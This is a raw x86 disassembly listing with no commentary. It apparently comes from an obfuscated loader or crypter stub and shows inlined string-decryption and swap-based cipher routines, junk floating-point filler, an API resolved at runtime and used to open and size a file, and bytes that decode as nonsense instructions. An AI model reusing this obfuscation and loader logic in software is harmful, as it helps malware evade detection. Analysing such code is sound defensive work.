mov dword [ebp - 0x404], eax
mov eax, dword [ebp - 0x24c]
add eax, dword [ebp - 0x404]
movzx eax, byte [eax]
mov dword [ebp - 0x490], eax
mov dword [ebp - 0x460], 0x86
mov eax, dword [ebp - 0x464]
sub eax, dword [ebp - 0x3d4]
mov dword [ebp - 0x48c], eax
mov eax, dword [ebp - 0x490]
sub eax, dword [ebp - 0x460]
mov dword [ebp - 0x39c], eax
mov eax, dword [ebp - 0x48c]
shl eax, 4
mov dword [ebp - 0x488], eax
mov eax, dword [ebp - 0x39c]
mov dword [ebp - 0x45c], eax
mov eax, dword [ebp - 0x488]
or eax, dword [ebp - 0x45c]
mov dword [ebp - 0x414], eax
mov al, byte [ebp - 0x414]
mov byte [ebp - 0x3d5], al
movzx eax, byte [ebp - 0x241]
mov al, byte [ebp + eax - 0x358]
mov byte [ebp - 0x481], al
movzx eax, byte [ebp - 0x36b]
movzx eax, byte [ebp + eax - 0x358]
movzx ecx, byte [ebp - 0x251]
add ecx, eax
mov byte [ebp - 0x251], cl
mov al, byte [ebp - 0x36b]
add al, 1
mov byte [ebp - 0x36b], al
movzx eax, byte [ebp - 0x251]
movzx ecx, byte [ebp - 0x241]
mov al, byte [ebp + eax - 0x358]
mov byte [ebp + ecx - 0x358], al
movzx eax, byte [ebp - 0x361]
movzx ecx, byte [ebp - 0x251]
mov al, byte [ebp + eax - 0x358]
mov byte [ebp + ecx - 0x358], al
movzx eax, byte [ebp - 0x36b]
movzx ecx, byte [ebp - 0x361]
mov al, byte [ebp + eax - 0x358]
mov byte [ebp + ecx - 0x358], al
movzx eax, byte [ebp - 0x36b]
mov cl, byte [ebp - 0x481]
mov byte [ebp + eax - 0x358], cl
movzx eax, byte [ebp - 0x481]
movzx eax, byte [ebp + eax - 0x358]
movzx ecx, byte [ebp - 0x359]
add ecx, eax
mov byte [ebp - 0x359], cl
movzx eax, byte [ebp - 0x3d5]
movzx ecx, byte [ebp - 0x251]
movzx ecx, byte [ebp + ecx - 0x358]
movzx edx, byte [ebp - 0x36b]
movzx edx, byte [ebp + edx - 0x358]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x358]
xor eax, ecx
movzx ecx, byte [ebp - 0x361]
movzx ecx, byte [ebp + ecx - 0x358]
movzx edx, byte [ebp - 0x241]
movzx edx, byte [ebp + edx - 0x358]
add ecx, edx
movzx edx, byte [ebp - 0x359]
movzx edx, byte [ebp + edx - 0x358]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x358]
movzx ecx, byte [ebp + ecx - 0x358]
xor eax, ecx
mov byte [ebp - 0x361], al
mov al, byte [ebp - 0x3d5]
mov byte [ebp - 0x241], al
mov al, byte [ebp - 0x361]
mov byte [ebp - 0x449], al
cmp dword [ebp - 0x41c], 0
jle 0x4bca20
mov eax, dword [ebp - 0x41c]
mov cl, byte [ebp - 0x449]
mov byte [ebp + eax - 0x231], cl
mov eax, dword [ebp - 0x41c]
inc eax
mov dword [ebp - 0x41c], eax
mov eax, dword [ebp - 0x418]
inc eax
mov dword [ebp - 0x418], eax
fld dword [0x9a5334]
fstp dword [ebp - 0x42c]
fld dword [0x9a5330]
fstp dword [ebp - 0x3e4]
fld dword [0x9a532c]
fstp dword [ebp - 0x3ac]
fld dword [0x9a5328]
fstp dword [ebp - 0x474]
fld dword [ebp - 0x3ac]
fmul dword [ebp - 0x474]
fstp dword [ebp - 0x3ac]
fld dword [ebp - 0x3e4]
fmul dword [ebp - 0x474]
fstp dword [ebp - 0x3e4]
fld dword [ebp - 0x3e4]
fmul dword [ebp - 0x474]
fstp dword [ebp - 0x3e4]
fld dword [ebp - 0x42c]
fsub dword [ebp - 0x474]
fstp dword [ebp - 0x42c]
fld dword [ebp - 0x474]
fld dword [ebp - 0x3e4]
fcompp
fnstsw ax
test ah, 0x41
jne 0x4bcb1f
fld dword [ebp - 0x3e4]
fmul dword [ebp - 0x3ac]
fstp dword [ebp - 0x3e4]
fld dword [ebp - 0x3ac]
fmul dword [ebp - 0x474]
fstp dword [ebp - 0x3ac]
fld dword [ebp - 0x42c]
fsub dword [ebp - 0x3e4]
fstp dword [ebp - 0x42c]
fld dword [ebp - 0x3ac]
fsub dword [ebp - 0x474]
fstp dword [ebp - 0x3ac]
mov eax, dword [ebp - 0x41c]
shl eax, 1
mov dword [ebp - 0x38c], eax
jmp 0x4bcb67
fld dword [ebp - 0x3ac]
fmul dword [ebp - 0x474]
fstp dword [ebp - 0x3ac]
fld dword [ebp - 0x3e4]
fdiv dword [ebp - 0x3ac]
fstp dword [ebp - 0x3e4]
fld dword [ebp - 0x3ac]
fdiv dword [ebp - 0x474]
fstp dword [ebp - 0x3ac]
fld dword [ebp - 0x42c]
fsub dword [ebp - 0x3e4]
fstp dword [ebp - 0x42c]
mov eax, dword [ebp - 0x24c]
add eax, dword [ebp - 0x38c]
movzx eax, byte [eax]
mov dword [ebp - 0x464], eax
mov dword [ebp - 0x3d4], 0x30
mov eax, dword [ebp - 0x41c]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x404], eax
mov eax, dword [ebp - 0x24c]
add eax, dword [ebp - 0x404]
movzx eax, byte [eax]
mov dword [ebp - 0x490], eax
mov dword [ebp - 0x460], 0x86
mov eax, dword [ebp - 0x464]
sub eax, dword [ebp - 0x3d4]
mov dword [ebp - 0x48c], eax
mov eax, dword [ebp - 0x490]
sub eax, dword [ebp - 0x460]
mov dword [ebp - 0x39c], eax
mov eax, dword [ebp - 0x48c]
shl eax, 4
mov dword [ebp - 0x488], eax
mov eax, dword [ebp - 0x39c]
mov dword [ebp - 0x45c], eax
mov eax, dword [ebp - 0x488]
or eax, dword [ebp - 0x45c]
mov dword [ebp - 0x414], eax
mov al, byte [ebp - 0x414]
mov byte [ebp - 0x3d5], al
movzx eax, byte [ebp - 0x241]
mov al, byte [ebp + eax - 0x358]
mov byte [ebp - 0x481], al
movzx eax, byte [ebp - 0x36b]
movzx eax, byte [ebp + eax - 0x358]
movzx ecx, byte [ebp - 0x251]
add ecx, eax
mov byte [ebp - 0x251], cl
mov al, byte [ebp - 0x36b]
add al, 1
mov byte [ebp - 0x36b], al
movzx eax, byte [ebp - 0x251]
movzx ecx, byte [ebp - 0x241]
mov al, byte [ebp + eax - 0x358]
mov byte [ebp + ecx - 0x358], al
movzx eax, byte [ebp - 0x361]
movzx ecx, byte [ebp - 0x251]
mov al, byte [ebp + eax - 0x358]
mov byte [ebp + ecx - 0x358], al
movzx eax, byte [ebp - 0x36b]
movzx ecx, byte [ebp - 0x361]
mov al, byte [ebp + eax - 0x358]
mov byte [ebp + ecx - 0x358], al
movzx eax, byte [ebp - 0x36b]
mov cl, byte [ebp - 0x481]
mov byte [ebp + eax - 0x358], cl
movzx eax, byte [ebp - 0x481]
movzx eax, byte [ebp + eax - 0x358]
movzx ecx, byte [ebp - 0x359]
add ecx, eax
mov byte [ebp - 0x359], cl
movzx eax, byte [ebp - 0x3d5]
movzx ecx, byte [ebp - 0x251]
movzx ecx, byte [ebp + ecx - 0x358]
movzx edx, byte [ebp - 0x36b]
movzx edx, byte [ebp + edx - 0x358]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x358]
xor eax, ecx
movzx ecx, byte [ebp - 0x361]
movzx ecx, byte [ebp + ecx - 0x358]
movzx edx, byte [ebp - 0x241]
movzx edx, byte [ebp + edx - 0x358]
add ecx, edx
movzx edx, byte [ebp - 0x359]
movzx edx, byte [ebp + edx - 0x358]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x358]
movzx ecx, byte [ebp + ecx - 0x358]
xor eax, ecx
mov byte [ebp - 0x361], al
mov al, byte [ebp - 0x3d5]
mov byte [ebp - 0x241], al
mov al, byte [ebp - 0x361]
mov byte [ebp - 0x449], al
cmp dword [ebp - 0x41c], 0
jle 0x4bcd92
mov eax, dword [ebp - 0x41c]
mov cl, byte [ebp - 0x449]
mov byte [ebp + eax - 0x231], cl
mov eax, dword [ebp - 0x41c]
inc eax
mov dword [ebp - 0x41c], eax
mov eax, dword [ebp - 0x418]
inc eax
mov dword [ebp - 0x418], eax
mov eax, dword [ebp - 0x41c]
shl eax, 1
mov dword [ebp - 0x38c], eax
mov eax, dword [ebp - 0x24c]
add eax, dword [ebp - 0x38c]
movzx eax, byte [eax]
mov dword [ebp - 0x464], eax
mov dword [ebp - 0x3d4], 0x30
mov eax, dword [ebp - 0x41c]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x404], eax
fld qword [0x9a5320]
fstp qword [ebp - 0x428]
fld qword [0x9a5318]
fstp qword [ebp - 0x3e0]
fld qword [0x9a5310]
fstp qword [ebp - 0x3a8]
fld qword [0x9a5308]
fstp qword [ebp - 0x470]
fld qword [ebp - 0x3a8]
fmul qword [ebp - 0x470]
fstp qword [ebp - 0x3a8]
fld qword [ebp - 0x428]
fmul qword [ebp - 0x470]
fstp qword [ebp - 0x428]
fld qword [ebp - 0x3a8]
fadd qword [ebp - 0x470]
fstp qword [ebp - 0x3a8]
fld qword [ebp - 0x428]
fsub qword [ebp - 0x470]
fstp qword [ebp - 0x428]
fld qword [ebp - 0x428]
fcomp qword [ebp - 0x470]
fnstsw ax
test ah, 5
jp 0x4bcebe
fld qword [ebp - 0x470]
fdiv qword [ebp - 0x428]
fstp qword [ebp - 0x470]
fld qword [ebp - 0x470]
fdiv qword [ebp - 0x428]
fstp qword [ebp - 0x470]
fld qword [ebp - 0x428]
fdiv qword [ebp - 0x3e0]
fstp qword [ebp - 0x428]
fld qword [ebp - 0x3a8]
fdiv qword [ebp - 0x470]
fstp qword [ebp - 0x3a8]
jmp 0x4bcf1b
fld qword [ebp - 0x3e0]
fsub qword [ebp - 0x3a8]
fstp qword [ebp - 0x3e0]
fld qword [ebp - 0x470]
fadd qword [ebp - 0x428]
fstp qword [ebp - 0x470]
fld qword [ebp - 0x3e0]
fmul qword [ebp - 0x3a8]
fstp qword [ebp - 0x3e0]
fld qword [ebp - 0x3e0]
fadd qword [ebp - 0x3a8]
fstp qword [ebp - 0x3e0]
mov eax, dword [ebp - 0x24c]
add eax, dword [ebp - 0x404]
movzx eax, byte [eax]
mov dword [ebp - 0x490], eax
mov dword [ebp - 0x460], 0x86
mov eax, dword [ebp - 0x464]
sub eax, dword [ebp - 0x3d4]
mov dword [ebp - 0x48c], eax
mov eax, dword [ebp - 0x490]
sub eax, dword [ebp - 0x460]
mov dword [ebp - 0x39c], eax
mov eax, dword [ebp - 0x48c]
shl eax, 4
mov dword [ebp - 0x488], eax
mov eax, dword [ebp - 0x39c]
mov dword [ebp - 0x45c], eax
mov eax, dword [ebp - 0x488]
or eax, dword [ebp - 0x45c]
mov dword [ebp - 0x414], eax
mov al, byte [ebp - 0x414]
mov byte [ebp - 0x3d5], al
movzx eax, byte [ebp - 0x241]
mov al, byte [ebp + eax - 0x358]
mov byte [ebp - 0x481], al
movzx eax, byte [ebp - 0x36b]
movzx eax, byte [ebp + eax - 0x358]
movzx ecx, byte [ebp - 0x251]
add ecx, eax
mov byte [ebp - 0x251], cl
mov al, byte [ebp - 0x36b]
add al, 1
mov byte [ebp - 0x36b], al
movzx eax, byte [ebp - 0x251]
movzx ecx, byte [ebp - 0x241]
mov al, byte [ebp + eax - 0x358]
mov byte [ebp + ecx - 0x358], al
movzx eax, byte [ebp - 0x361]
movzx ecx, byte [ebp - 0x251]
mov al, byte [ebp + eax - 0x358]
mov byte [ebp + ecx - 0x358], al
movzx eax, byte [ebp - 0x36b]
movzx ecx, byte [ebp - 0x361]
mov al, byte [ebp + eax - 0x358]
mov byte [ebp + ecx - 0x358], al
movzx eax, byte [ebp - 0x36b]
mov cl, byte [ebp - 0x481]
mov byte [ebp + eax - 0x358], cl
movzx eax, byte [ebp - 0x481]
movzx eax, byte [ebp + eax - 0x358]
movzx ecx, byte [ebp - 0x359]
add ecx, eax
mov byte [ebp - 0x359], cl
movzx eax, byte [ebp - 0x3d5]
movzx ecx, byte [ebp - 0x251]
movzx ecx, byte [ebp + ecx - 0x358]
movzx edx, byte [ebp - 0x36b]
movzx edx, byte [ebp + edx - 0x358]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x358]
xor eax, ecx
movzx ecx, byte [ebp - 0x361]
movzx ecx, byte [ebp + ecx - 0x358]
movzx edx, byte [ebp - 0x241]
movzx edx, byte [ebp + edx - 0x358]
add ecx, edx
movzx edx, byte [ebp - 0x359]
movzx edx, byte [ebp + edx - 0x358]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x358]
movzx ecx, byte [ebp + ecx - 0x358]
xor eax, ecx
mov byte [ebp - 0x361], al
mov al, byte [ebp - 0x3d5]
mov byte [ebp - 0x241], al
mov al, byte [ebp - 0x361]
mov byte [ebp - 0x449], al
cmp dword [ebp - 0x41c], 0
jle 0x4bd102
mov eax, dword [ebp - 0x41c]
mov cl, byte [ebp - 0x449]
mov byte [ebp + eax - 0x231], cl
mov eax, dword [ebp - 0x418]
add eax, 4
mov dword [ebp - 0x418], eax
mov eax, dword [ebp - 0x41c]
inc eax
mov dword [ebp - 0x498], eax
jmp 0x4bd12d
mov eax, dword [ebp - 0x498]
inc eax
mov dword [ebp - 0x498], eax
mov eax, dword [ebp - 0x498]
cmp eax, dword [ebp - 0x418]
jge 0x4bd38a
mov eax, dword [ebp - 0x41c]
inc eax
mov dword [ebp - 0x41c], eax
mov eax, dword [ebp - 0x41c]
shl eax, 1
mov dword [ebp - 0x38c], eax
mov eax, dword [ebp - 0x24c]
add eax, dword [ebp - 0x38c]
movzx eax, byte [eax]
mov dword [ebp - 0x464], eax
mov dword [ebp - 0x3d4], 0x30
mov eax, dword [ebp - 0x41c]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x404], eax
mov eax, dword [ebp - 0x24c]
add eax, dword [ebp - 0x404]
movzx eax, byte [eax]
mov dword [ebp - 0x490], eax
mov dword [ebp - 0x460], 0x86
mov eax, dword [ebp - 0x464]
sub eax, dword [ebp - 0x3d4]
mov dword [ebp - 0x48c], eax
mov eax, dword [ebp - 0x490]
sub eax, dword [ebp - 0x460]
mov dword [ebp - 0x39c], eax
mov eax, dword [ebp - 0x48c]
shl eax, 4
mov dword [ebp - 0x488], eax
mov eax, dword [ebp - 0x39c]
mov dword [ebp - 0x45c], eax
mov eax, dword [ebp - 0x488]
or eax, dword [ebp - 0x45c]
mov dword [ebp - 0x414], eax
mov al, byte [ebp - 0x414]
mov byte [ebp - 0x3d5], al
movzx eax, byte [ebp - 0x241]
mov al, byte [ebp + eax - 0x358]
mov byte [ebp - 0x481], al
movzx eax, byte [ebp - 0x36b]
movzx eax, byte [ebp + eax - 0x358]
movzx ecx, byte [ebp - 0x251]
add ecx, eax
mov byte [ebp - 0x251], cl
mov al, byte [ebp - 0x36b]
add al, 1
mov byte [ebp - 0x36b], al
movzx eax, byte [ebp - 0x251]
movzx ecx, byte [ebp - 0x241]
mov al, byte [ebp + eax - 0x358]
mov byte [ebp + ecx - 0x358], al
movzx eax, byte [ebp - 0x361]
movzx ecx, byte [ebp - 0x251]
mov al, byte [ebp + eax - 0x358]
mov byte [ebp + ecx - 0x358], al
movzx eax, byte [ebp - 0x36b]
movzx ecx, byte [ebp - 0x361]
mov al, byte [ebp + eax - 0x358]
mov byte [ebp + ecx - 0x358], al
movzx eax, byte [ebp - 0x36b]
mov cl, byte [ebp - 0x481]
mov byte [ebp + eax - 0x358], cl
movzx eax, byte [ebp - 0x481]
movzx eax, byte [ebp + eax - 0x358]
movzx ecx, byte [ebp - 0x359]
add ecx, eax
mov byte [ebp - 0x359], cl
movzx eax, byte [ebp - 0x3d5]
movzx ecx, byte [ebp - 0x251]
movzx ecx, byte [ebp + ecx - 0x358]
movzx edx, byte [ebp - 0x36b]
movzx edx, byte [ebp + edx - 0x358]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x358]
xor eax, ecx
movzx ecx, byte [ebp - 0x361]
movzx ecx, byte [ebp + ecx - 0x358]
movzx edx, byte [ebp - 0x241]
movzx edx, byte [ebp + edx - 0x358]
add ecx, edx
movzx edx, byte [ebp - 0x359]
movzx edx, byte [ebp + edx - 0x358]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x358]
movzx ecx, byte [ebp + ecx - 0x358]
xor eax, ecx
mov byte [ebp - 0x361], al
mov al, byte [ebp - 0x3d5]
mov byte [ebp - 0x241], al
mov al, byte [ebp - 0x361]
mov byte [ebp - 0x449], al
cmp dword [ebp - 0x41c], 0
jle 0x4bd385
mov eax, dword [ebp - 0x41c]
mov cl, byte [ebp - 0x449]
mov byte [ebp + eax - 0x231], cl
jmp 0x4bd120
mov eax, dword [ebp - 0x418]
inc eax
mov dword [ebp - 0x418], eax
mov byte [ebp - 0x225], 0
jmp 0x4bd3cf
and dword [ebp - 0x49c], 0
jmp 0x4bd3b6
mov eax, dword [ebp - 0x49c]
inc eax
mov dword [ebp - 0x49c], eax
cmp dword [ebp - 0x49c], 0xc
jge 0x4bd3cf
mov eax, dword [ebp - 0x49c]
mov byte [ebp + eax - 0x230], 0
jmp 0x4bd3a9
lea eax, [ebp - 0x230]
push eax
mov ecx, dword [0x9daa1c]
call fcn.0044f2ad
mov dword [ebp - 0x214], eax
push 0
push 0x80
push 3
push 0
push 1
push 0xa0000000
lea eax, [ebp - 0x208]
push eax
call dword [ebp - 0x214]
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0xffffffff
je 0x4bfb88
push 0
push dword [ebp - 0x224]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x4b8], eax
and dword [ebp - 0x4d4], 0
push dword [ebp - 0x4b8]
call fcn.00937387
pop ecx
mov dword [ebp - 0x724], eax
mov eax, dword [ebp - 0x724]
mov dword [ebp - 0x4b4], eax
and dword [ebp - 0x4a0], 0
and dword [ebp - 0x4b0], 0
fldz
fstp qword [ebp - 0x4d0]
fldz
fstp qword [ebp - 0x4a8]
fldz
fstp qword [ebp - 0x4a8]
jmp 0x4bd48c
fld qword [ebp - 0x4a8]
fadd qword [0x9a1b90]
fstp qword [ebp - 0x4a8]
fld qword [0x9a5300]
fcomp qword [ebp - 0x4a8]
fnstsw ax
test ah, 0x41
jne 0x4bd515
fld qword [0x9a52f8]
fmul qword [ebp - 0x4a8]
fmul qword [ebp - 0x4a8]
fld qword [ebp - 0x4a8]
fmul qword [ebp - 0x4a8]
fsubp st(1)
fld qword [0x9a52f0]
fmul qword [ebp - 0x4a8]
fmul qword [ebp - 0x4a8]
fadd qword [0x9a52e8]
fdivp st(1)
fadd qword [ebp - 0x4d0]
fstp qword [ebp - 0x4d0]
fld qword [0x9a52e0]
fcomp qword [ebp - 0x4d0]
fnstsw ax
test ah, 5
jp 0x4bd510
fld qword [0x9a52d8]
fmul qword [ebp - 0x4a8]
fsubr qword [ebp - 0x4d0]
fstp qword [ebp - 0x4d0]
jmp 0x4bd47a
fldz
fcomp qword [ebp - 0x4d0]
fnstsw ax
test ah, 0x41
jne 0x4bd54f
mov esi, 0xc2f5c5ee
mov esi, 0xb9edbdf9
mov ebp, 0xb7f2bffc
int1
sub byte [esi + 0x28], al
push 0x2c5c7d44
pushal
daa
inc ecx
popal
dec edx
pop cx
bound esp, qword [edx]
push ebx
pop esi
jmp 0x4bf9d5
mov dword [ebp - 0x4a0], 0x4bd524
mov dword [ebp - 0x4b0], 0x4bd536
mov eax, dword [ebp - 0x4a0]
mov dword [ebp - 0x4e0], eax
mov eax, dword [ebp - 0x4b0]
mov dword [ebp - 0x4dc], eax
mov byte [ebp - 0x5f9], 0x18
and dword [ebp - 0x5f0], 0
jmp 0x4bd598
mov eax, dword [ebp - 0x5f0]
inc eax
mov dword [ebp - 0x5f0], eax
cmp dword [ebp - 0x5f0], 0x100
jae 0x4bd5b9
mov eax, dword [ebp - 0x5f0]
mov cl, byte [ebp - 0x5f0]
mov byte [ebp + eax - 0x5e8], cl
jmp 0x4bd58b
and dword [ebp - 0x4e4], 0
mov byte [ebp - 0x5fa], 0
mov dword [ebp - 0x5f0], 0xff
jmp 0x4bd5e0
mov eax, dword [ebp - 0x5f0]
dec eax
mov dword [ebp - 0x5f0], eax
cmp dword [ebp - 0x5f0], 0
jbe 0x4bd85a
and dword [ebp - 0x600], 0
mov dword [ebp - 0x608], 1
mov eax, dword [ebp - 0x608]
cmp eax, dword [ebp - 0x5f0]
jae 0x4bd61e
mov eax, dword [ebp - 0x608]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x608], eax
jmp 0x4bd5fe
mov eax, dword [ebp - 0x4e4]
mov dword [ebp - 0x768], eax
mov eax, dword [ebp - 0x768]
mov dword [ebp - 0x76c], eax
cmp dword [ebp - 0x76c], 0
je 0x4bd663
sub dword [ebp - 0x76c], 1
je 0x4bd68f
sub dword [ebp - 0x76c], 1
je 0x4bd6bb
sub dword [ebp - 0x76c], 1
je 0x4bd6e7
jmp 0x4bd713
movzx eax, byte [ebp - 0x5fa]
movzx ebx, byte [ebp + eax - 0x5e8]
fld qword [ebp - 0x4d0]
call fcn.00938626
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x5fa], bl
jmp 0x4bd73a
movzx eax, byte [ebp - 0x5fa]
movzx ebx, byte [ebp + eax - 0x5e8]
fld qword [ebp - 0x4d0]
call fcn.00938626
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x5fa], bl
jmp 0x4bd73a
movzx eax, byte [ebp - 0x5fa]
movzx ebx, byte [ebp + eax - 0x5e8]
fld qword [ebp - 0x4d0]
call fcn.00938626
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x5fa], bl
jmp 0x4bd73a
movzx eax, byte [ebp - 0x5fa]
movzx ebx, byte [ebp + eax - 0x5e8]
fld qword [ebp - 0x4d0]
call fcn.00938626
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x5fa], bl
jmp 0x4bd73a
movzx eax, byte [ebp - 0x5fa]
movzx eax, byte [ebp + eax - 0x5e8]
mov ecx, dword [ebp - 0x4dc]
add ecx, dword [ebp - 0x4e4]
movzx ecx, byte [ecx - 4]
add eax, ecx
mov byte [ebp - 0x5fa], al
mov eax, dword [ebp - 0x4e4]
inc eax
mov dword [ebp - 0x4e4], eax
movzx eax, byte [ebp - 0x5f9]
cmp dword [ebp - 0x4e4], eax
jb 0x4bd773
and dword [ebp - 0x4e4], 0
movzx eax, byte [ebp - 0x5f9]
movzx ecx, byte [ebp - 0x5fa]
add ecx, eax
mov byte [ebp - 0x5fa], cl
movzx eax, byte [ebp - 0x5fa]
and eax, dword [ebp - 0x608]
mov dword [ebp - 0x604], eax
mov eax, dword [ebp - 0x600]
inc eax
mov dword [ebp - 0x600], eax
cmp dword [ebp - 0x600], 0xb
jbe 0x4bd7b0
mov eax, dword [ebp - 0x604]
xor edx, edx
div dword [ebp - 0x5f0]
mov dword [ebp - 0x604], edx
mov eax, dword [ebp - 0x604]
cmp eax, dword [ebp - 0x5f0]
ja 0x4bd61e
mov eax, dword [ebp - 0x5f0]
cmp eax, dword [ebp - 0x604]
je 0x4bd855
mov eax, dword [ebp - 0x604]
movzx eax, byte [ebp + eax - 0x5e8]
mov ecx, dword [ebp - 0x5f0]
movzx ecx, byte [ebp + ecx - 0x5e8]
xor ecx, eax
mov eax, dword [ebp - 0x5f0]
mov byte [ebp + eax - 0x5e8], cl
mov eax, dword [ebp - 0x5f0]
movzx eax, byte [ebp + eax - 0x5e8]
mov ecx, dword [ebp - 0x604]
movzx ecx, byte [ebp + ecx - 0x5e8]
xor ecx, eax
mov eax, dword [ebp - 0x604]
mov byte [ebp + eax - 0x5e8], cl
mov eax, dword [ebp - 0x604]
movzx eax, byte [ebp + eax - 0x5e8]
mov ecx, dword [ebp - 0x5f0]
movzx ecx, byte [ebp + ecx - 0x5e8]
xor ecx, eax
mov eax, dword [ebp - 0x5f0]
mov byte [ebp + eax - 0x5e8], cl
jmp 0x4bd5d3
mov al, byte [ebp - 0x5e7]
mov byte [ebp - 0x5fb], al
mov al, byte [ebp - 0x5e5]
mov byte [ebp - 0x4e5], al
mov al, byte [ebp - 0x5e3]
mov byte [ebp - 0x5e9], al
mov al, byte [ebp - 0x5e1]
mov byte [ebp - 0x5f1], al
movzx eax, byte [ebp - 0x5fa]
mov al, byte [ebp + eax - 0x5e8]
mov byte [ebp - 0x4d5], al
mov dword [ebp - 0x5f8], 0x12
cmp dword [ebp - 0x5f8], 2
jle 0x4bf9a6
mov eax, dword [ebp - 0x5f8]
and eax, 1
jne 0x4bf9a6
and dword [ebp - 0x6b4], 0
and dword [ebp - 0x6b0], 0
mov eax, dword [ebp - 0x6b0]
inc eax
mov dword [ebp - 0x6b0], eax
and dword [ebp - 0x614], 0
mov eax, dword [ebp - 0x6b4]
shl eax, 1
mov dword [ebp - 0x614], eax
and dword [ebp - 0x6e8], 0
mov eax, dword [ebp - 0x4e0]
add eax, dword [ebp - 0x614]
movzx eax, byte [eax]
add eax, dword [ebp - 0x6e8]
mov dword [ebp - 0x6e8], eax
and dword [ebp - 0x65c], 0
mov eax, dword [ebp - 0x65c]
add eax, 0xb7
mov dword [ebp - 0x65c], eax
and dword [ebp - 0x684], 0
mov eax, dword [ebp - 0x6b4]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x684], eax
and dword [ebp - 0x700], 0
mov eax, dword [ebp - 0x4e0]
add eax, dword [ebp - 0x684]
movzx eax, byte [eax]
add eax, dword [ebp - 0x700]
mov dword [ebp - 0x700], eax
and dword [ebp - 0x6e4], 0
mov eax, dword [ebp - 0x6e4]
add eax, 0xed
mov dword [ebp - 0x6e4], eax
and dword [ebp - 0x6fc], 0
mov eax, dword [ebp - 0x6e8]
sub eax, dword [ebp - 0x65c]
add eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x6fc], eax
and dword [ebp - 0x62c], 0
fld qword [0x9a52d0]
fstp qword [ebp - 0x648]
fld qword [0x9a52c8]
fstp qword [ebp - 0x680]
fld qword [0x9a52c0]
fstp qword [ebp - 0x6c8]
fld qword [0x9a52b8]
fstp qword [ebp - 0x610]
fld qword [ebp - 0x648]
fadd qword [ebp - 0x610]
fstp qword [ebp - 0x648]
fld qword [ebp - 0x648]
fadd qword [ebp - 0x610]
fstp qword [ebp - 0x648]
fld qword [ebp - 0x6c8]
fmul qword [ebp - 0x610]
fstp qword [ebp - 0x6c8]
fld qword [ebp - 0x648]
fsub qword [ebp - 0x610]
fstp qword [ebp - 0x648]
fld qword [ebp - 0x6c8]
fcomp qword [ebp - 0x610]
fnstsw ax
test ah, 5
jp 0x4bdb6b
fld qword [ebp - 0x648]
fadd qword [ebp - 0x6c8]
fstp qword [ebp - 0x648]
fld qword [ebp - 0x6c8]
fmul qword [ebp - 0x648]
fstp qword [ebp - 0x6c8]
fld qword [ebp - 0x610]
fmul qword [ebp - 0x680]
fstp qword [ebp - 0x610]
fld qword [ebp - 0x610]
fdiv qword [ebp - 0x680]
fstp qword [ebp - 0x610]
fld qword [ebp - 0x648]
fadd qword [ebp - 0x680]
fstp qword [ebp - 0x648]
fld qword [ebp - 0x648]
fadd qword [ebp - 0x680]
fstp qword [ebp - 0x648]
fld qword [ebp - 0x610]
fsub qword [ebp - 0x648]
fstp qword [ebp - 0x610]
fld qword [ebp - 0x610]
fadd qword [ebp - 0x648]
fstp qword [ebp - 0x610]
fld qword [ebp - 0x680]
fcomp qword [ebp - 0x610]
fnstsw ax
test ah, 5
jp 0x4bdb21
fld qword [ebp - 0x610]
fdiv qword [ebp - 0x648]
fstp qword [ebp - 0x610]
fld qword [ebp - 0x610]
fsub qword [ebp - 0x648]
fstp qword [ebp - 0x610]
fld qword [ebp - 0x610]
fdiv qword [ebp - 0x648]
fstp qword [ebp - 0x610]
fld qword [ebp - 0x6c8]
fmul qword [ebp - 0x610]
fstp qword [ebp - 0x6c8]
jmp 0x4bdb69
fld qword [ebp - 0x680]
fsub qword [ebp - 0x6c8]
fstp qword [ebp - 0x680]
fld qword [ebp - 0x6c8]
fmul qword [ebp - 0x610]
fstp qword [ebp - 0x6c8]
fld qword [ebp - 0x648]
fadd qword [ebp - 0x680]
fstp qword [ebp - 0x648]
fld qword [ebp - 0x680]
fsub qword [ebp - 0x6c8]
fstp qword [ebp - 0x680]
jmp 0x4bdbcb
fld qword [ebp - 0x648]
fadd qword [ebp - 0x680]
fstp qword [ebp - 0x648]
fld qword [ebp - 0x6c8]
fadd qword [ebp - 0x610]
fstp qword [ebp - 0x6c8]
fld qword [ebp - 0x610]
fadd qword [ebp - 0x648]
fstp qword [ebp - 0x610]
fld qword [ebp - 0x648]
fadd qword [ebp - 0x680]
fstp qword [ebp - 0x648]
mov eax, dword [ebp - 0x700]
sub eax, dword [ebp - 0x6e4]
add eax, dword [ebp - 0x62c]
mov dword [ebp - 0x62c], eax
and dword [ebp - 0x6f8], 0
mov eax, dword [ebp - 0x6fc]
shl eax, 4
mov dword [ebp - 0x6f8], eax
and dword [ebp - 0x6e0], 0
mov eax, dword [ebp - 0x62c]
mov dword [ebp - 0x6e0], eax
and dword [ebp - 0x6ac], 0
mov eax, dword [ebp - 0x6f8]
or eax, dword [ebp - 0x6e0]
mov dword [ebp - 0x6ac], eax
mov byte [ebp - 0x669], 0
mov al, byte [ebp - 0x6ac]
mov byte [ebp - 0x669], al
mov byte [ebp - 0x6f1], 0
movzx eax, byte [ebp - 0x4d5]
mov al, byte [ebp + eax - 0x5e8]
mov byte [ebp - 0x6f1], al
movzx eax, byte [ebp - 0x5fb]
movzx eax, byte [ebp + eax - 0x5e8]
movzx ecx, byte [ebp - 0x4e5]
add ecx, eax
